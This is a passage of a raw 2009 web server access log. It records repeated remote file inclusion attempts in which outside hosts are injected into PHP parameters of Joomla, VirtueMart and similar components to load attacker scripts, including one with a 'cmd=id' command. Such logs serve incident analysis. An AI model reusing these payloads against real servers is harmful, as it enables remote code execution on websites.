NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 66.249.68.35 - - [11/Jun/2009:20:53:48 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://www.geocities.com/masterboboy/scripts/gome.txt?? HTTP/1.1" 200 99467 "-" "Mediapartners-Google" 125.167.42.116 - - [11/Jun/2009:20:54:05 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://www.geocities.com/masterboboy/scripts/oglix.txt?? HTTP/1.1" 200 99167 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 66.249.68.35 - - [11/Jun/2009:20:54:09 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://www.geocities.com/masterboboy/scripts/oglix.txt?? HTTP/1.1" 200 15928 "-" "Mediapartners-Google" 66.249.68.35 - - [11/Jun/2009:20:54:11 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://www.geocities.com/masterboboy/scripts/oglix.txt?? HTTP/1.1" 200 99820 "-" "Mediapartners-Google" 68.109.233.157 - - [12/Jun/2009:09:40:11 -0600] "GET /rfi.txt//errors.php?error=http://geocities.com/blade_tea/idmaira.txt????? HTTP/1.1" 404 522 "-" "libwww-perl/5.79" 118.129.166.10 - - [12/Jun/2009:10:24:27 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/main.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 577 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:10:24:30 -0600] "GET ///administrator/components/com_virtuemart/main.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:10:24:34 -0600] "GET ///administrator/components/com_virtuemart/main.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33837 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:10:24:35 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/main.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 577 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:10:24:35 -0600] "GET ///administrator/components/com_virtuemart/main.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:10:24:42 -0600] "GET ///administrator/components/com_virtuemart/main.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33836 "-" "Mozilla/5.0" 69.65.10.238 - - [12/Jun/2009:10:33:59 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 577 "-" "Mozilla/5.0" 69.65.10.238 - - [12/Jun/2009:10:33:59 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 69.65.10.238 - - [12/Jun/2009:10:34:01 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 33973 "-" "Mozilla/5.0" 211.189.40.249 - - [12/Jun/2009:11:22:25 -0600] "GET /rfi.txt//main.php?sayfa=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 507 "-" "Mozilla/5.0" 211.189.40.249 - - [12/Jun/2009:11:22:24 -0600] "GET //main.php?sayfa=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 302 761 "-" "Mozilla/5.0" 211.189.40.249 - - [12/Jun/2009:11:22:25 -0600] "GET //main.php?sayfa=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 33554 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:16:49 -0600] "GET /rfi.txt/errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 515 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:16:49 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 302 769 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:16:50 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 33936 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:16:57 -0600] "GET /rfi.txt/errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 515 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:16:57 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 302 769 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:16:58 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 34247 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:17:10 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 302 769 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:17:11 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 302 769 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:17:11 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 34021 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:17:13 -0600] "GET /errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 33884 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:17:14 -0600] "GET /rfi.txt/errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 515 "-" "Mozilla/5.0" 219.85.63.226 - - [12/Jun/2009:12:17:19 -0600] "GET /rfi.txt/errors.php?error=http://www.4-floor.com/mambo/modules/z1?? HTTP/1.1" 404 515 "-" "Mozilla/5.0" 213.71.9.25 - - [12/Jun/2009:12:19:17 -0600] "GET ///vwar/backup/errors.php?error=http://coreto7.freehostia.com/scan/fx29id1.txt???? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 213.71.9.25 - - [12/Jun/2009:12:19:19 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://coreto7.freehostia.com/scan/fx29id1.txt???? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 213.71.9.25 - - [12/Jun/2009:12:19:19 -0600] "GET ///vwar/backup/errors.php?error=http://coreto7.freehostia.com/scan/fx29id1.txt???? HTTP/1.1" 404 33687 "-" "Mozilla/5.0" 12.68.140.202 - - [12/Jun/2009:12:25:28 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 302 772 "-" "libwww-perl/5.820" 12.68.140.202 - - [12/Jun/2009:12:25:29 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 33683 "-" "libwww-perl/5.820" 12.68.140.202 - - [12/Jun/2009:12:32:45 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 518 "-" "libwww-perl/5.820" 190.144.44.36 - - [12/Jun/2009:12:41:59 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 518 "-" "libwww-perl/5.79" 190.144.44.36 - - [12/Jun/2009:12:41:59 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 302 772 "-" "libwww-perl/5.79" 190.144.44.36 - - [12/Jun/2009:12:42:01 -0600] "GET ///vwar/backup/errors.php?error=http://208.98.22.241/id.txt??? HTTP/1.1" 404 33595 "-" "libwww-perl/5.79" 211.49.99.7 - - [12/Jun/2009:13:03:20 -0600] "GET ///vwar/backup/errors.php?error=http://invomedia.net/file/yes.txt??? HTTP/1.1" 302 778 "-" "libwww-perl/5.79" 211.49.99.7 - - [12/Jun/2009:13:03:21 -0600] "GET ///vwar/backup/errors.php?error=http://invomedia.net/file/yes.txt??? HTTP/1.1" 404 33624 "-" "libwww-perl/5.79" 211.49.99.7 - - [12/Jun/2009:13:11:15 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://invomedia.net/file/yes.txt??? HTTP/1.1" 404 524 "-" "libwww-perl/5.79" 63.223.85.28 - - [12/Jun/2009:13:20:35 -0600] "GET /rfi.txt//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://www.mojasoba.net/lang/idfx1.txt? HTTP/1.1" 404 622 "-" "Mozilla/5.0" 63.223.85.28 - - [12/Jun/2009:13:20:35 -0600] "GET //index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://www.mojasoba.net/lang/idfx1.txt? HTTP/1.1" 302 830 "-" "Mozilla/5.0" 63.223.85.28 - - [12/Jun/2009:13:20:36 -0600] "GET /?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://www.mojasoba.net/lang/idfx1.txt? HTTP/1.1" 200 99792 "-" "Mozilla/5.0" 195.34.78.110 - - [12/Jun/2009:13:36:09 -0600] "GET /////administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 302 830 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 195.34.78.110 - - [12/Jun/2009:13:36:10 -0600] "GET /////administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 404 33821 "-" "Mozilla/4.61 (Macintosh; I; PPC)" 121.165.73.157 - - [12/Jun/2009:13:42:48 -0600] "GET /rfi.txt//claroline/phpbb/page_tail.php?includePath=http://hac.or.kr/technote7/data/idnovo.txt??? HTTP/1.1" 404 545 "-" "libwww-perl/5.805" 121.165.73.157 - - [12/Jun/2009:13:42:48 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://hac.or.kr/technote7/data/idnovo.txt??? HTTP/1.1" 302 799 "-" "libwww-perl/5.805" 121.165.73.157 - - [12/Jun/2009:13:42:49 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://hac.or.kr/technote7/data/idnovo.txt??? HTTP/1.1" 404 33718 "-" "libwww-perl/5.805" 218.38.16.54 - - [12/Jun/2009:14:15:21 -0600] "GET /rfi.txt/errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 218.38.16.54 - - [12/Jun/2009:14:15:22 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 218.38.16.54 - - [12/Jun/2009:14:15:24 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33605 "-" "Mozilla/5.0" 218.38.16.54 - - [12/Jun/2009:14:16:18 -0600] "GET /rfi.txt/errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 218.38.16.54 - - [12/Jun/2009:14:16:19 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 218.38.16.54 - - [12/Jun/2009:14:16:24 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33604 "-" "Mozilla/5.0" 61.106.21.32 - - [12/Jun/2009:14:16:59 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 547 "-" "Mozilla/5.0" 61.106.21.32 - - [12/Jun/2009:14:16:59 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 801 "-" "Mozilla/5.0" 61.106.21.32 - - [12/Jun/2009:14:17:01 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33738 "-" "Mozilla/5.0" 81.176.226.164 - - [12/Jun/2009:14:26:53 -0600] "GET /rfi.txt/errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 81.176.226.164 - - [12/Jun/2009:14:26:53 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 81.176.226.164 - - [12/Jun/2009:14:26:54 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33604 "-" "Mozilla/5.0" 81.176.226.164 - - [12/Jun/2009:14:28:28 -0600] "GET /rfi.txt/errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 81.176.226.164 - - [12/Jun/2009:14:28:28 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 81.176.226.164 - - [12/Jun/2009:14:28:29 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33604 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:34:51 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:34:51 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:34:52 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 33725 "-" "Mozilla/5.0" 81.248.63.177 - - [12/Jun/2009:14:39:10 -0600] "GET /rfi.txt/errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 81.248.63.177 - - [12/Jun/2009:14:39:10 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 81.248.63.177 - - [12/Jun/2009:14:39:16 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33604 "-" "Mozilla/5.0" 81.248.63.177 - - [12/Jun/2009:14:39:22 -0600] "GET /rfi.txt/errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 81.248.63.177 - - [12/Jun/2009:14:39:22 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 81.248.63.177 - - [12/Jun/2009:14:39:29 -0600] "GET /errors.php?error=http://ukcouncilexchanges.info/FX29ID1.txt??? HTTP/1.1" 404 33605 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:39:35 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:39:35 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:39:36 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 33725 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:42:23 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:42:23 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:42:24 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 33725 "-" "Mozilla/5.0" 70.85.165.10 - - [12/Jun/2009:14:45:04 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 749 "-" "Mozilla/5.0" 70.85.165.10 - - [12/Jun/2009:14:45:05 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 70.85.165.10 - - [12/Jun/2009:14:45:05 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 200 99323 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:47:24 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 546 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:47:24 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 113.29.225.7 - - [12/Jun/2009:14:47:25 -0600] "GET ///vwar/backup/errors.php?error=http://doverpark.org.sg/images/stories/food/fx29id1.txt??? HTTP/1.1" 404 33725 "-" "Mozilla/5.0" 195.34.78.110 - - [12/Jun/2009:15:47:09 -0600] "GET /myevent.php?myevent_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 302 776 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 195.34.78.110 - - [12/Jun/2009:15:47:10 -0600] "GET /myevent.php?myevent_path=http://admin.bestcominfo.com/c-id.txt??? HTTP/1.1" 404 33616 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 66.11.230.36 - - [12/Jun/2009:15:51:36 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.scoringsessions.com///img/large/v5id1.txt?? HTTP/1.1" 404 542 "-" "Mozilla/5.0" 66.11.230.36 - - [12/Jun/2009:15:51:36 -0600] "GET ///vwar/backup/errors.php?error=http://www.scoringsessions.com///img/large/v5id1.txt?? HTTP/1.1" 302 796 "-" "Mozilla/5.0" 66.11.230.36 - - [12/Jun/2009:15:51:37 -0600] "GET ///vwar/backup/errors.php?error=http://www.scoringsessions.com///img/large/v5id1.txt?? HTTP/1.1" 404 33808 "-" "Mozilla/5.0" 41.250.251.52 - - [12/Jun/2009:15:54:40 -0600] "GET /rfi.txt///com_virtuemart/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 541 "-" "Mozilla/5.0" 41.250.251.52 - - [12/Jun/2009:15:54:40 -0600] "GET ///com_virtuemart/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 795 "-" "Mozilla/5.0" 209.62.42.51 - - [12/Jun/2009:15:59:07 -0600] "GET ///com_virtuemart/errors.php?error=http://www.nupecampus2.uneb.br/imagens/campus/fx29id.txt?? HTTP/1.1" 302 803 "-" "Mozilla/5.0" 209.62.42.51 - - [12/Jun/2009:15:59:08 -0600] "GET ///com_virtuemart/errors.php?error=http://www.nupecampus2.uneb.br/imagens/campus/fx29id.txt?? HTTP/1.1" 404 33782 "-" "Mozilla/5.0" 209.62.42.51 - - [12/Jun/2009:15:59:09 -0600] "GET /rfi.txt///com_virtuemart/errors.php?error=http://www.nupecampus2.uneb.br/imagens/campus/fx29id.txt?? HTTP/1.1" 404 549 "-" "Mozilla/5.0" 85.214.37.11 - - [12/Jun/2009:16:19:20 -0600] "GET /rfi.txt/?sourcedir=http://haar13.com//components/com_dat/1.txt? HTTP/1.1" 404 512 "-" "Mozilla/5.0" 85.214.37.11 - - [12/Jun/2009:16:19:20 -0600] "GET /?sourcedir=http://haar13.com//components/com_dat/1.txt? HTTP/1.1" 302 746 "-" "Mozilla/5.0" 85.214.37.11 - - [12/Jun/2009:16:19:21 -0600] "GET /?sourcedir=http://haar13.com//components/com_dat/1.txt? HTTP/1.1" 200 98565 "-" "Mozilla/5.0" 69.162.126.138 - - [12/Jun/2009:16:47:45 -0600] "GET ///vwar/backup/errors.php?error=http://kmzrox.by.ru/tool25.dot?cmd=id? HTTP/1.1" 302 780 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 69.162.126.138 - - [12/Jun/2009:16:47:45 -0600] "GET ///vwar/backup/errors.php?error=http://kmzrox.by.ru/tool25.dot?cmd=id? HTTP/1.1" 404 33716 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 216.17.99.13 - - [12/Jun/2009:16:59:07 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://www.rakkasanwarriors.com/db/ainul/AinuLid1.txt?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 216.17.99.13 - - [12/Jun/2009:16:59:07 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://www.rakkasanwarriors.com/db/ainul/AinuLid1.txt?? HTTP/1.1" 302 768 "-" "Mozilla/5.0" 216.17.99.13 - - [12/Jun/2009:16:59:08 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://www.rakkasanwarriors.com/db/ainul/AinuLid1.txt?? HTTP/1.1" 200 99787 "-" "Mozilla/5.0" 61.106.21.32 - - [12/Jun/2009:17:09:07 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 538 "-" "Mozilla/5.0" 61.106.21.32 - - [12/Jun/2009:17:09:07 -0600] "GET ///vwar/backup/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 792 "-" "Mozilla/5.0" 61.106.21.32 - - [12/Jun/2009:17:09:08 -0600] "GET ///vwar/backup/errors.php?error=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33699 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:18:18 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:18:18 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 302 822 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:18:19 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 33795 "-" "Mozilla/5.0" 77.240.235.130 - - [12/Jun/2009:18:29:40 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://traipod.altervista.org/id.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.808" 77.240.235.130 - - [12/Jun/2009:18:29:41 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://traipod.altervista.org/id.txt? HTTP/1.1" 200 98561 "-" "libwww-perl/5.808" 122.153.28.140 - - [12/Jun/2009:18:33:06 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:33:06 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 302 822 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:33:07 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 33795 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:18:37:46 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:18:37:46 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:18:37:47 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33844 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:43:37 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 568 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:43:37 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 302 822 "-" "Mozilla/5.0" 122.153.28.140 - - [12/Jun/2009:18:43:38 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 33795 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:18:57:29 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:18:57:29 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:18:57:31 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33844 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:03:48 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:03:48 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 125.137.191.115 - - [12/Jun/2009:19:03:49 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33844 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:07:10 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:07:10 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:07:12 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33845 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:13:55 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/ImpExdata.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 582 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:13:56 -0600] "GET ///administrator/components/com_virtuemart/ImpExdata.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 836 "-" "Mozilla/5.0" 210.112.121.225 - - [12/Jun/2009:19:13:57 -0600] "GET ///administrator/components/com_virtuemart/ImpExdata.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33857 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:19:18:30 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 593 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:19:18:30 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 847 "-" "Mozilla/5.0" 118.129.166.10 - - [12/Jun/2009:19:18:34 -0600] "GET 